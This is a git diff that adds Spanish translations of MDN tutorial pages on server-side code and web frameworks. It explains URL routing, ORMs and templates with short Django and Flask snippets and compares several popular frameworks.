cada recurso. Esto tiene también beneficios en términos de mantenimiento, ya que puedes cambiar la URL usada para entregar una característica particular en un sitio, sin tener que cambiar la función de gestión.</p> + +<p>Por ejemplo, considera el siguiente código Django (Python) que mapea dos patrones URL a dos funciones de visualización. El primer patrón asegura que una petición HTTP con una URL de <code>/best</code> sea pasada a la función llamada <code>index()</code> en el módulo <code>views</code>. En cambio, una petición que tiene el patrón "<code>/best/junior</code>", se pasará a la función de visualización <code>junior()</code>.</p> + +<pre class="brush: python"># file: best/urls.py +# + +from django.conf.urls import url + +from . import views + +urlpatterns = [ + # example: /best/ + url(r'^$', views.index), + # example: /best/junior/ + url(r'^junior/$', views.junior), +]</pre> + +<div class="note"> +<p><strong>Nota</strong>: El primer parámetro en las funciones <code>url()</code> puede parecer un poco extraño (ej. <code>r'^junior/$'</code>) porque usan una técnica de emparejamiento de patrones llamada "expresiones regulares" ("regular expressions", RegEx, o RE). No necesitas saber cómo funcionan las expresiones regulares en este momento, tan sólo que nos permiten emparejar patrones en el URL (en vez de los valores insertados en el código de forma fija que veíamos más arriba) y los usan como parámetros en nuestras funciones de visualización. Como ejemplo, una RegEx simple podría decir "empareja una simple letra mayúscula, seguida de entre 4 y 7 letras minúsculas."</p> +</div> + +<p>El framework web también hace fácil a una función de visualización extraer información de la base de datos. La estructura de nuestros datos está definida en modelos, que son las clases Python que definen los campos que serán almacenados en la base de datos subyacente. Si tenemos un modelo llamado <em>Team</em> con un campo de "<em>team_type</em>" podemos usar un query de sintaxis simple para recuperar todos los equipos que son de un tipo particular.</p> + +<p>Los ejemplos de abajo recuperan una lista de todos los equipos que tienen el <code>team_type</code> de "junior" exacto (teniendo en cuenta la capitalización, mayúsculas o minúsculas) — nota de formato: el nombre del campo (<code>team_type</code>) seguido de un guión bajo doble, y a continuación el tipo de emparejamiento a usar (en este caso <code>exact</code>). Hay muchos otros tipos de emparejamiento y podemos encadenarlos fácilmente. Podemos controlar el orden y número de resultados que se devuelven. </p> + +<pre class="brush: python">#best/views.py + +from django.shortcuts import render + +from .models import Team + + +def junior(request): + list_teams = Team.objects.filter(team_type__exact="junior") + context = {'list': list_teams} + return render(request, 'best/index.html', context) +</pre> + +<p>Después de que la función <code>junior()</code> obtenga la lista de equipos junior, llama a la función <code>render()</code>, pasándole el <code>HttpRequest</code> original, una plantilla HTML, y un objeto "contexto" que define la información a ser incluida en la plantilla. La función <code>render()</code> es una función de conveniencia que genera HTML usando un contexto y una plantilla HTML, y devuelve un objeto <code>HttpResponse</code>.</p> + +<p>Obviamente los frameworks web pueden ayudarte con un monton de otras tareas. Debatiremos sobre un montón más de beneficios y opciones de frameworks web en el próximo artículo.</p> + +<h2 id="Sumario">Sumario</h2> + +<p>En este punto deberías tener una buena visión general de las operaciones que el código de lado servidor tiene que realizar, y conocer algunas de las formas en que un framework web de lado servidor las puede hacer más fáciles.</p> + +<p>En el módulo siguiente te ayudaremos a elegir el mejor Framework Web para tu primer sitio.</p> + +<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p> + +<p> </p> + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/First_steps/Introduction">Introducción al lado servidor</a></li> + <li><a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Visión general Cliente-Servidor</a></li> + <li><a href="/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Frameworks Web de lado servidor</a></li> + <li><a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Seguridad Web</a></li> +</ul> + +<p> </p> diff --git a/files/es/learn/server-side/primeros_pasos/web_frameworks/index.html b/files/es/learn/server-side/primeros_pasos/web_frameworks/index.html new file mode 100644 index 0000000000..8c381a772e --- /dev/null +++ b/files/es/learn/server-side/primeros_pasos/web_frameworks/index.html @@ -0,0 +1,306 @@ +--- +title: Frameworks Web de lado servidor +slug: Learn/Server-side/Primeros_pasos/Web_frameworks +tags: + - Aprendizaje + - Codificación de scripts + - Frameworks web + - Guía + - Principiante + - Programación lado servidor + - Servidor + - introducción +translation_of: Learn/Server-side/First_steps/Web_frameworks +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">El artículo anterior te mostró que pinta tiene la comunicación entre los clientes web y los servidores, la naturaleza de las peticiones y respuestas HTTP, y lo que necesita hacer una aplicación web de lado servidor para responder a las peticiones de un explorador web. Con este conocimiento en nuestra mochila, es hora de explorar cómo los frameworks web pueden simplificar estas tareas, y darte una idea de cómo escogerías un framework para tu primera aplicación web de lado servidor.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisitos:</th> + <td> + <p>Conocimientos de computación básicos. Comprensión de alto nivel de cómo gestiona y responde a las peticiones HTTP el código de lado servidor (ver <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">Visión general Cliente-Servidor</a>).</p> + </td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td> + <p>Entender cómo los frameworks web pueden simplificar el desarrollo/mantenimiento de código de lado servidor y conseguir que los lectores piensen sobre la elección del framework para su propio desarrollo.</p> + </td> + </tr> + </tbody> +</table> + +<p>Las siguientes secciones ilustran algunos puntos usando fragmentos de código tomados de frameworks web reales. No te preocupes si no todo tiene sentido ahora; te pondremos a trabajar sobre el código en nuestros módulos de framework específicos.</p> + +<h2 id="Visión_general">Visión general</h2> + +<p>Los frameworks de lado servidor (es decir, "los frameworks de aplicaciones web") son frameworks software que hacen más fácil escribir, mantener y escalar aplicaciones web. Proporcionan herramientas y bibliotecas que simplifican tareas comunes de desarrollo web, incluyendo enrutado de URLs a los manejadores apropiados, interactuación con bases de datos, soporte de sesiones y autorizaciones de usuario, formateado de la salida (ej, HTML, JSON, XML), y mejora de la seguridad contra los ataques web.</p> + +<p>La sección siguiente proporciona un poco más detalle sobre cómo los frameworks web pueden facilitar el desarrollo de aplicaciones web. Explicaremos a continuación algunos de los criterios que puedes usar para elegir un framework web, y luego hacer una lista de algunas de tus opciones.</p> + +<h2 id="¿Qué_puede_hacer_por_tí_un_framework_web">¿Qué puede hacer por tí un framework web?</h2> + +<p>Los frameworks web proporcionan herramientas y bibliotecas para simplificar operaciones comunes de desarrollo web. No <em>tienes</em> que usar un framework web de lado servidor, pero se recomienda encarecidamente — te hará la vida mucho más fácil.</p> + +<p>Esta sección debate algo de la funcionalidad que proporcionan con frecuencia los frameworks web (!no todo framework proporcionará necesariamente todas estas caracteríticas!)</p> + +<h3 id="Trabajar_directamente_con_peticiones_y_respuestas_HTTP">Trabajar directamente con peticiones y respuestas HTTP</h3> + +<p>Como vimos en el último artículo, los servidores web y los exploradores se comunican vía el protocolo HTTP — los servidores esperan las peticiones HTTP del explorador y devuelven información en respuestas HTTP. Los frameworks web te permiten escribir sintaxis simplificada que generará el código de lado servidor para trabajar con estas peticiones y respuestas. Esto significa que tendrás un trabajo más fácil, interacción más fácil, código de más alto nivel en vez de primitivas de red de bajo nivel.</p> + +<p>El ejemplo de más abajo muestra cómo funciona ésto en el framework web Django (Python). Cada función de visualización "view" (un manejador de peticiones) recibe un objeto <code>HttpRequest</code> que contiene información de petición, y se le pide devolver un objeto <code>HttpResponse</code> con la salida formateada (en este caso una cadena de texto).</p> + +<pre class="brush: python"># Django view function +from django.http import HttpResponse + +def index(request): + # Get an HttpRequest (request) + # perform operations using information from the request. + # Return HttpResponse + return HttpResponse('Output string to return') +</pre> + +<h3 id="Enrutado_de_peticiones_al_manejador_adecuado">Enrutado de peticiones al manejador adecuado</h3> + +<p>La mayoría de sitios proporcionan un gran número de recursos diferentes, accesibles a través de distintas URLs. La gestión de todo esto en una sola función sería difiicil de mantener, de manera que los frameworks web proporcionan mecanismos simples para mapear patrones URL a funciones de gestión específicas. Esta aproximación tiene también beneficios en términos de mantenimiento, porque puedes cambiar el URL que se usa para entregar una característica en particular sin tener que cambiar el código subyacente.</p> + +<p>Diferentes frameworks usan diferentes mencanismos para el mapeo. Por ejemplo, el framework web Flask (Python) añade rutas a las funciones de visualización usando un "decorador".</p> + +<pre class="brush: python">@app.route("/") +def hello(): + return "Hello World!"</pre> + +<p>Por el contrario Django espera que los desarrolladores definan una lista de mapeos URL entre un patrón URL y una función de visualización.</p> + +<pre class="brush: python">urlpatterns = [ + url(r'^$', views.index), + # example: /best/myteamname/5/ + url(r'^(?P<team_name>\w.+?)/(?P<team_number>[0-9]+)/$', views.best), +] +</pre> + +<h3 id="Fácil_acceso_a_los_datos_en_la_petición">Fácil acceso a los datos en la petición</h3> + +<p>Los datos pueden codificarse en una petición HTTP de muchas maneras. Una petición <code>GET</code> para recuperar ficheros o datos de un servidor puede codificar los datos que se necesitan en parámetros URL o dentro de una estructura URL. Una petición <code>POST</code> para actualizar un recurso en el servidor puede en cambio incluir la información de actualización como "datos POST" dentro del cuerpo de la petición. La petición HTTP puede también incluir información sobre la sesión o usuario actual en un cookie de lado cliente.</p> + +<p>Los frameworks web proporcionan mecanismos apropiados del lenguaje de programación para acceder a esta información. Por ejemplo, el objeto <code>HttpRequest</code> que pasa Django a toda función de visualización contiene métodos y propiedades para acceder a la URL de destino, el tipo de petición (ej. HTTP <code>GET</code>), parámetros <code>GET</code> o <code>POST</code>, cookie y datos de session, etc. Django puede también pasar información codificada en la estructura de la URL definiendo "patrones de captura" en el mapeador URL (mira el último fragmento de código de la sección de arriba).</p> + +<h3 id="Abstraer_y_simplificar_el_acceso_a_bases_de_datos">Abstraer y simplificar el acceso a bases de datos</h3> + +<p>Los sitios web utilizan bases de datos para almacenar información tanto para ser compartida con los usuarios como sobre los propios usuarios. Los frameworks web proporcionan frecuentemente una capa de base de datos que abstrae las operaciones de lectura, escritura, consulta y borrado de la base. Nos referimos a esta capa de abstracción como Mapeador de Objetos Relacionados (Object-Relational Mapper, ORM).</p> + +<p>Usar un ORM tiene dos beneficios:</p> + +<ul> + <li>Puedes reemplazar la base de datos subyacente sin tener necesariamente que cambiar el código que la usa: Esto permite a los desarrolladores optimizar las características de las diferentes bases de datos en función de su uso.</li> + <li>la validación básica de datos puede implementarse dentro del framework. Esto hace más fácil y seguro comprobar que los datos se almacenan en el campo correcto de la base, que tienen el formato adecuado (ej. una dirección de correo electrónico), y que no son maliciosos de ninguna manera (los craqueadores utilizan ciertos patrones de código para hacer cosas malas como borrar registros de las bases de datos).</li> +</ul> + +<p>Por ejemplo, el framework web de Django proporciona un ORM, y utiliza la referencia del objeto usado para definir la estructura de un registro similar al <em>modelo</em>. El modelo especifica los <em>tipos</em> de campos que se almacenarán, lo que puede proporcionar una validación a nivel de campo sobre qué información se puede guardar (ej. un campo de email sólo permitiría direcciones válidas de correo electrónico). Las definiciones de campos pueden también especificar su tamaño máximo, etiquetas de texto para los formularios, etc. El modelo no establece ninguna información sobre la base de datos subyacente ya que ese es un ajuste de configuración que se puede cambiar de forma separada de nuestro código.</p> + +<p>El primer fragmento de código más abajo muestra un modelo de Django muy simple para un objeto <code>Team</code>. Éste almacena el nombre y nivel del equipo como campos de caracteres y especifica el número máximo de éstos que pueden almacenarse en cada registro. El <code>team_level</code> es un campo de selección, de manera que proporcionamos un mapeo entre las opciones a mostrar en pantalla y los datos a almacenar, junto con un valor por defecto.</p> + +<pre class="brush: python">#best/models.py + +from django.db import models + +class Team(models.Model): + team_name = models.CharField(max_length=40) + + TEAM_LEVELS = ( + ('U09', 'Under 09s'), + ('U10', 'Under 10s'), + ('U11, 'Under 11s'), + ... #list our other teams + ) + team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11') +</pre> + +<p>El modelo de Django proporciona una API de consulta simple para buscar en la base de datos. Ésta puede comprobar coincidencias contra un gran número de campos al mismo tiempo usando diferentes criterios (ej. exacto, insensible a las mayúsculas, mayor que, etc.), y puede soportar sentencias complejas (por ejemplo, puedes especificar una búsqueda de equipos U11 que tengan un nombre de equipo que empiece por "Fr" or finalice con "al").</p> + +<p>El segundo fragmento de código muestra una función de visualización (manejador de recurso) para mostrar en pantalla todos nuestros equipos U09. En este caso especificamos que queremos filtrar todos los registros donde el campo <code>team_level</code> tenga exactamente el texto 'U09' (fíjate debajo cómo este criterio se pasa como argumento a la función <code>filter()</code> con el nombre de campo y tipo de coincidencia separados por guiones bajos dobles: <strong>team_level__exact</strong>).</p> + +<pre class="brush: python">#best/views.py + +from django.shortcuts import render +from .models import Team + +def youngest(request): + <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong> + context = {'youngest_teams': list_teams} + return render(request, 'best/index.html', context) +</pre> + +<dl> +</dl> + +<h3 id="Renderización_de_datos">Renderización de datos</h3> + +<p>Los frameworks web proporcionan con frecuencia sistemas de plantillas. Éstas te permiten especificar la estructura de un documento de salida, usando marcadores de posición para los datos que serán añadidos cuando se genere la página. Las plantillas se usan con frecuencia para crear HTML, pero también pueden crear otros tipos de documentos.</p> + +<p>Los frameworks web proporcionan con frecuencia un mecanismo para facilitar la generación de otros formatos a partir de los datos almacenados, incluyendo {{glossary("JSON")}} y {{glossary("XML")}}.</p> + +<p>Por ejemplo, el sistema de plantillas de Django te permite especificar variables usando una sintaxis de "llaves dobles" (ej. <code>{</code><code>{ <em>variable_name</em> </code><code>}</code><code>}</code>), que serán reemplazadas por valores pasados desde la función de visualización cuando la página sea renderizada. El sistema de plantillas también proporciona soporte para expresiones (con la sintaxis: <code>{% <em>expression</em> %}</code>), que permite a las plantillas realizar operaciones simples como iterar sobre la lista de valores pasados a la misma.</p> + +<div class="note"> +<p><strong>Nota</strong>: Muchos otros sistemas de plantillas usan una sintaxis similar, ej.: Jinja2 (Python), Handlebars (JavaScript), Moustache (JavaScript), etc.</p> +</div> + +<p>El fragmento de código de abajo muestra como hacer este trabajo. Continuando el ejemplo del "equipo más joven" de la sección anterior, la "view" pasa a la plantilla HTML una variable tipo lista llamada <code>youngest_teams</code>. Dentro del esqueleto HTML tenemos una expresión que primero comprueba que la variable <code>youngest_teams</code> existe, y luego itera sobre ella en un bucle <code>for</code>. En cada iteración la plantilla presenta en pantalla el valor del <code>team_name</code> del equipo de uno de los elementos de la lista.</p> + +<pre class="brush: html">#best/templates/best/index.html + +<!DOCTYPE html> +<html lang="en"> +<body> + + {% if youngest_teams %} + <ul> + {% for team in youngest_teams %} + <li>\{\{ team.team_name \}\}</li> + {% endfor %} + </ul> +{% else %} + <p>No teams are available.</p> +{% endif %} + +</body> +</html> +</pre> + +<h2 id="Como_escoger_un_framework_web">Como escoger un framework web</h2> + +<p>Existen muchos frameworks web para casi todos los lenguajes de programación que quieras usar (listamos unos pocos de los frameworks más populares en la sección siguiente). Con tantas opciones, llega a ser difícil deducir qué framework proporciona el mejor punto de partida para tu nueva aplicación web. </p> + +<p>Algunos de los factores que pueden afectar tu decisión son:</p> + +<ul> + <li><strong>Esfuerzo en el aprendizaje:</strong> El esfuerzo en el aprendizaje de un framework web depende de lo familiarizado que estés con el lenguaje de programación subyacente, la consistencia de su API, la calidad de su documentación, y el tamaño y actividad de su comunidad. Si estás partiendo de una nula experiencia en programación, considera entonces Django (es uno de los más fáciles de aprender basándose en los criterios anteriores). Si formas parte de un equipo de desarrolladores que tienen ya una experiencia significante con un framework web o lenguaje de programación en particular tiene sentido entonces que sigas fiel a él.</li> + <li><strong>Productividad:</strong> Productividad es una medida de cuán rápido puedes crear nuevas características una vez que te familiarices con el framework, incluidos tanto el esfuerzo para escribir como para mantener el código (ya que puedes escribir nuevas características mientras se rompen las antiguas). Muchos de los factores que afectan a la productividad son similares a los de el "Esfuerzo para aprender" — ej. documentación, comunidad, experiencia en programación, etc. — otros factores incluyen: + <ul> + <li><em>Propósito/Origen del framework</em>: Algunos frameworks web fueron creados inicialmente para resolver ciertos tipos de problemas, y se mantienen <em>mejor</em> en la creación de apllicaciones web con problemática similar. Por ejemplo, Django fue creado para soportar el desarrollo de un sitio web de un periódico, por lo que es bueno para blogs y otros sitios que impliquen la publicación de cosas. Por contra, Flask es un framework de peso mucho más ligero y es fantástico en la creación de aplicaciones web que se ejecuten en dispositivos embebidos.</li> + <li><em>Dogmático versus No Dogmático</em>: Un framework dogmático es aquél en el que hay recomendaciones sobre el "mejor" método de resolver un problema en particular. Los frameworks dogmáticos tienden a ser más productivos cuando estás tratando de resolver problemas comunes, porque te llevan en la dirección correcta, sin embargo son menos flexibles a veces.</li> + <li><em>Con baterías incluidas versus Hazlo tu mismo</em>: Aalgunos frameworks web incluyen herramientas/bibliotecas que abordan por defecto todos los problemas que sus desarrolladores pueden pensar, mientras que los frameworks más ligeros esperan que los desarrolladores web escojan y elijan las soluciones a sus problemas en bibliotecas separadas (Django es un ejemplo del primero, mientras que Flask es un ejemplo de un framework mucho más ligero). Los frameworks que incluyen todo son con frecuencia más fáciles para empezar con ellos porque ya tienes todo lo que necesitas, y las probabilidades son altas de que esté bien integrado y bien documentado. Sin embargo si un framework más pequeño tiene todo lo que puedas necesitar funcionará en entornos mas constreñidos y tendrán un subconjunto de cosas más pequeñas y más fáciles de aprender.</li> + <li><em>Si el framework potencia o no buenas prácticas de desarrollo</em>: Por ejemplo, un framework que promueve una arquitectura <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Modelo-View-Controlador</a> para separar el código en funciones lógicas resultará más mantenible que uno que no tiene espectativas en los desarrolladores. Similarmente, el diseño del framework puede tener un gran impacto en cómo de fácil sea probar y reusar el código.</li> + </ul> + </li> + <li><strong>Desempeño del framework/lenguaje de programación: </strong>Normalmente la "velocidad" no es el factor más grande en la selección porque, incluso, con tiempos de ejecución relativamente lentos como Python, son más que suficientemente buenos para sitios de tamaño medio ejecutándose en hardware moderado. Los beneficios percibidos en velocidad de otro lenguaje, ej. C++ o JavaScript, pueden verse compensados por los costes de aprendizaje y mantenimiento.</li> + <li><strong>Soporte de Cache:</strong> A medida que tu sitio web adquiere más éxito puedes encontrarte que no sea capaz de soportar el número de peticiones que recibe cuando acceden los usuarios. En este punto puedes considerar añadir soporte de cache. La cache es una optimización en la que almacenas todo o parte de una petición web de manera que no tiene que ser recalculada en subsiguientes peticiones. Devolver una respuesta cacheada es más rápido que calcular una la primera vez. El cacheo puede implementarse en tu código o en el servidor (ver <a href="https://en.wikipedia.org/wiki/Reverse_proxy">proxy inverso</a>). Los frameworks web tienen diferentes niveles de soporte para definir qué contenido debe ser cacheado.</li> + <li><strong>Escalabilidad:</strong> Una vez que tu sitio tenga un éxito fabuloso agotarás los beneficios del cacheo e incluso alcanzarás los límites del <em>escalado vertical </em>(ejecutar tu aplicación en un hardware más potente). En este punto podrás necesitar <em>escalar horizontalmente</em> (compartir la carga distribuyendo tu sitio a lo largo de un número de servidores web o bases de datos) o escalar "geográficamente" porque algunos de tus clientes están localizados muy lejos de tu servidor. El framework web que elijas puede marcar una gran diferencia en cómo de fácil sea escalar tu sitio.</li> + <li><strong>Seguridad web:</strong> Algunos frameworks web proporcionan mejor soporte para manejar ataques web comunes. Django por ejemplo desinfecta todas las entradas de los usuarios de las plantillas HTML de manera que el posible código JavaScript introducido por el usuario no pueda ejecutarse. Otros frameworks proporcionan protección similar, pero no siempre está habilitada por defecto.</li> +</ul> + +<p>Hay muchos otros posibles factores, incluyendo licenciamiento, si el framework está bajo desarrollo activo o no, etc.</p> + +<p>Si eres un completo principiante en la programación probablemente escogerás tu framework basándote en la "facilidad de aprendizaje". Además de la "facilidad de uso" del lenguaje mismo, la alta calidad de la documentación/tutoriales y una comunidad activa que ayuda a nuevos usuarios son tus recursos más valiosos. Nosotros hemos escogido <a href="https://www.djangoproject.com/">Django</a> (Python) y <a href="http://expressjs.com/">Express</a> (Node/JavaScript) para escribir nuestros ejemplos de más adelante en el curso, principalmente porque son fáciles de aprender y tienen un buen soporte.</p> + +<div class="note"> +<p><strong>Nota</strong>: Vayamos a los sitios principales de <a href="https://www.djangoproject.com/">Django</a> (Python) y <a href="http://expressjs.com/">Express</a> (Node/JavaScript) y comprobemos su documentación y su comunidad.</p> + +<ol> + <li>Navega a los sitios principales (enlazados abajo) + <ul> + <li>Pincha en los enlaces de los menus de Documentación (cosas que se llaman como "Documentación, Guía, Referencia API, Primeros Pasos".</li> + <li>¿Puedes ver temas que te muestran como configurar enrutado URL, plantillas y bases de datos/modelos?</li> + <li>¿Son los documentos suficientemente claros?</li> + </ul> + </li> + <li>Navega a las listas de correo de cada sitio (accesible desde los enlaces de Comunidad). + <ul> + <li>¿Cuántas preguntas se han realizado en unos pocos días recientes?</li> + <li>¿Cuántas tienen respuestas?</li> + <li>¿Tienen una comunidad activa?</li> + </ul> + </li> +</ol> +</div> + +<h2 id="¿Unos_pocos_frameworks_web_buenos">¿Unos pocos frameworks web buenos?</h2> + +<p>Avancemos ahora, y debatamos unos pocos frameworks web específicos de lado servidor.</p> + +<p>Los frameworks de lado servidor de más abajo representan unos pocos de los más populares disponibles en el momento de escribir este artículo. Todos ellos tienen todo lo que necesitas para ser productivo — son de código abierto, están bajo desarrollo activo, tienen comunidades entusiastas creando documentación y ayudando a los usuarios en paneles de debate, y se usan en un gran número de sitios web de perfil alto. Hay muchos otros frameworks de lado servidor fantásticos que puedes descubrir usando una búsqueda básica en internet. </p> + +<div class="note"> +<p><strong>Nota</strong>: ¡Las descripciones vienen (parcialmente) de los sitios web de los frameworks!</p> +</div> + +<h3 id="Django_(Python)">Django (Python)</h3> + +<p><a href="https://www.djangoproject.com/">Django</a> es un Framework Web Python de alto nivel que promueve el desarrollo rápido y limpio y el diseño pragmático. Construido por desarrolladores experimentados, tiene en cuenta muchos de los problemas del desarrollo web, de manera que puedes focalizarte en escribir el código de tu app sin necesidad de reinventar la rueda. Es gratis y de código abierto.</p> + +<p>Django sigue la filosofía de "Baterias incluidas" y proporciona casi todo lo que la mayoría de desarrolladores querría hacer "de fábrica". Como todo está incluido, todo funciona en conjunto, sigue principios de diseño consistentes y tiene una extensa documentación actualizada. Es también veloz, seguro y muy escalable. Al estar basado en Python, el código de Django es fácil de leer y de mantener.</p> + +<p>Entre los sitios populares que usan Django (según su página web) se incluyen: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.</p> + +<h3 id="Flask_(Python)">Flask (Python)</h3> + +<p><a href="http://flask.pocoo.org/">Flask</a> es un microframework para Python. </p> + +<p>A pesar de ser minimalista, Flask puede crear sitios web "de fábrica". Contiene un servidor de desarrollo y depurador, e incluye soporte para plantillas <a href="https://github.com/pallets/jinja">Jinja2</a>, cookies seguros, <a href="https://en.wikipedia.org/wiki/Unit_testing">prueba de unidades</a>, y distribución de peticiones <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a>. Tiene buena documentación y una comunidad activa. </p> + +<p>Flask se ha vuelto extremadamente popular, particularmente entre desarrolladores que necesitan proporcionar servicios web en sistemas pequeños, y con recursos escasos (ej. ejecutar un servidor web en una <a href="https://www.raspberrypi.org/">Raspberry Pi</a>, <a href="http://blogtarkin.com/drone-definitions-learning-the-drone-lingo/">Controladores de Drones</a>, etc.)</p> + +<h3 id="Express_(Node.jsJavaScript)">Express (Node.js/JavaScript)</h3> + +<p><a href="http://expressjs.com/">Express</a> es un framework web veloz, no dogmático, flexible y minimalista para <a href="https://nodejs.org/en/">Node.js</a> (Node es un entorno sin explorador web para ejecutar JavaScript). Proporciona un conjunto de características robusto para aplicaciones web y móviles y entrega valiosos métodos de utilidades HTTP y <a href="/en-US/docs/Glossary/Middleware">middleware</a>.</p> + +<p>Express es extremadamente popular, en parte porque facilita la migración de programadores web de JavaScript de lado cliente a desarrollo de lado servidor, y en parte porque es eficiente con los recursos (el entorno de node subyacente usa multitarea ligera dentro de un thread en vez de expandirse en procesos separados para cada nueva petición web).</p> + +<p>Debido a que Express es un framework web minimalista no incorpora cada componente que querrías usar (por ejemplo, el acceso a bases de datos y el soporte de usuarios y sesiones se proporciona a través de bibliotecas independientes). Hay muchos componentes independientes excelentes, !pero algunas veces puede ser difícil deducir cuál es el mejor para un propósito en particular!</p> + +<p>Muchos frameworks populares y completamente equipados (incluyendo ambos tipos de frameworks de lado servidor y de lado cliente) están basados en Express, como <a href="http://feathersjs.com/">Feathers</a>, <a href="https://www.itemsapi.com/">ItemsAPI</a>, <a href="http://keystonejs.com/">KeystoneJS</a>, <a href="http://krakenjs.com/">Kraken</a>, <a href="http://lean-stack.io/">LEAN-STACK</a>, <a href="http://loopback.io/">LoopBack</a>, <a href="http://mean.io/">MEAN</a>, and <a href="http://sailsjs.org/">Sails</a>.</p> + +<p>Un montón de compañías de perfil alto usan Express, como: Uber, Accenture, IBM, etc. (a<a href="http://expressjs.com/en/resources/companies-using-express.html">quí</a> tienes una lista).</p> + +<h3 id="Ruby_on_Rails_(Ruby)">Ruby on Rails (Ruby)</h3> + +<p><a href="http://rubyonrails.org/">Rails</a> (normalmente referenciado como "Ruby on Rails") es un framework web escrito para el lenguaje de programación Ruby.</p> + +<p>Rails sigue una filosofía de diseño muy similar a Django. Como Django proporciona mecanismos estándard para el enrutado de URLs, acceso a datos de bases, generación de plantillas y formateo de datos como {{glossary("JSON")}} o {{glossary("XML")}}. Promueve de forma similar el uso de patrones de diseño como DRY ("dont repeat yourself", no te repitas — escribir el código una única vez si es posible), MVC (model-view-controller) y numerosos otros.</p> + +<p>Hay por supuesto muchas diferencias debido a decisiones específicas de diseño y la naturaleza de los lenguajes.</p> + +<p>Rails se usa en sitios de perfil alto, como:<strong> </strong><a href="https://basecamp.com/">Basecamp</a>, <a href="https://github.com/">GitHub</a>, <a href="https://shopify.com/">Shopify</a>, <a href="https://airbnb.com/">Airbnb</a>, <a href="https://twitch.tv/">Twitch</a>, <a href="https://soundcloud.com/">SoundCloud</a>, <a href="https://hulu.com/">Hulu</a>, <a href="https://zendesk.com/">Zendesk</a>, <a href="https://square.com/">Square</a>, <a href="https://highrisehq.com/">Highrise</a>.</p> + +<h3 id="ASP.NET">ASP.NET</h3> + +<p><a href="http://www.asp.net/">ASP.NET</a> es un framework web de código abierto desarrollado por Microsoft para construir aplicaciones y servicios modernos. Con ASP.NET puedes crear rápidamente sitios web basados en HTML, CSS, y JavaScript, escalarlos para ser usados por milllones de usuarios y añadir fácilmente capacidades complejas como APIs web, formularios sobre datos o comunicaciones en tiempo real.</p> + +<p>Uno de los diferenciadores de ASP.NET es que está construido sobre el <a href="https://en.wikipedia.org/wiki/Common_Language_Runtime">Common Language Runtime</a> (CLR), permitiendo a los programadores escribir código ASP.NET usando cualquier lenguaje .NET soportado (C#, Visual Basic, etc.). Como muchos productos Microsoft se beneficia de herramientas excelentes (frecuentemente gratuitas), y una comunidad de desarrolladores activa, y documentación bien escrita.</p> + +<p>ASP.NET se usa por Microsoft, Xbox.com, Stack Overflow, y muchos otros.</p> + +<h3 id="Mojolicious_(Perl)">Mojolicious (Perl)</h3> + +<p><a href="http://mojolicious.org/">Mojolicious</a> es un framework web de nueva generación para el lenguaje de programación Perl.</p> + +<p>Hace tiempo en los primeros días de la Web, mucha gente aprendió Perl gracias a una magnífica biblioteca llamada <a href="https://metacpan.org/module/CGI">CGI</a>. Era lo suficientemente simple para empezar sin saber mucho sobre el lenguaje y lo suficientemente potente para mantenerte en marcha. Mojolicious implementa esta idea usando el último grito de las tecnologías.</p> + +<p>Algunas de las caracteríticas que proporciona Mojolicious son: <strong>Framework Web en tiempo real</strong>, para crecer fácilmente desde prototipos de un solo fichero hasta aplicaciones web MVC bien estructuradas; rutas RESTful, plugins, comandos, plantillas especificas de Perl, negociación de contenidos, gestión de sesiones, validación de formatos, framework de pruebas, servidor de ficheros estáticos, detección de CGI/<a href="http://plackperl.org">PSGI</a>, soporte Unicode de primera clase; Implementación cliente/servidor completamente equipada de HTTP y WebSocket con IPv6, TLS, SNI, IDNA, HTTP/SOCKS5 proxy, UNIX domain socket, Comet (long polling), keep-alive, connection pooling, timeout, cookie, y soporte de compresión multipart y gzip; parseadores JSON y HTML/XML y generadores con soporte de selector CSS; Muy limpio, portable y API orientada a objetos y Perl puro sin magia oculta; Código fresco basado en años de experiencia, gratis y de código abierto.</p> + +<h2 id="Sumario">Sumario</h2> + +<p>Este artículo ha mostrado que los frameworks web pueden hacer fácil el desarrollo y mantenimiento del código de lado servidor. También ha proporcionado una visión general de alto nivel de unos pocos frameworks más populares y debatido los criterios para elegir el framework para una aplicación web. Deberías tener en este momento una idea de cómo elegir un framework web para tu propio desarrollo de lado servidor. Si no, no te preocupes — más tarde a lo largo del curso te daremos tutoriales detallados de Django y Express para darte algo de experiencia de funcionamiento real con un framework web.</p> + +<p>Para el próximo artículo de este módulo cambiaremos de dirección ligeramente y consideraremos la seguridad web.</p> + +<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</p> + +<p> </p> + +<h2 id="En_este_modulo">En este modulo</h2> + +<ul> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Introducci%C3%B3n">Introducción al lado servidor </a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">Visión general Cliente-Servidor</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Web_frameworks">Frameworks web de lado servidor</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web">Seguridad de sitios Web</a></li> +</ul> + +<p> </p> |